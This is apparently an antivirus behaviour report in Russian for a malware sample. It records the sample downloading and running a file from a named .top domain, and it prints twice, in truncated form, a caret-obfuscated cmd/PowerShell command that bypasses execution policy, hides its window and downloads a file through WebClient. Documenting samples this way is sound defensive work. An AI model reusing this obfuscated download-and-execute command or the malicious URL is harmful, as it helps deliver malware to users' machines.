Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^oW^e^r^sH^El^l^.^e^X^E^ -^eXEC^u^tIOnpOl^iCy^ b^yP^A^Ss^ ^-NO^p^ROfILe -W^i^NdowST^Y^L^e^ H^iddeN^ (nEw-^O^BJEcT sYst^EM.nEt^.w^EBC^LI^E^n^T).^DO^W^N^l^O^adfi^lE('http://w...
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^oW^e^r^sH^El^l^.^e^X^E^ -^eXEC^u^tIOnpOl^iCy^ b^yP^A^Ss^ ^-NO^p^ROfILe -W^i^NdowST^Y^L^e^ H^iddeN^ (nEw-^O^BJEcT sYst^EM.nEt^.w^EBC^LI^E^n^T).^DO^W^N^l^O^adfi^lE('http://w...' (со скрытым окном)
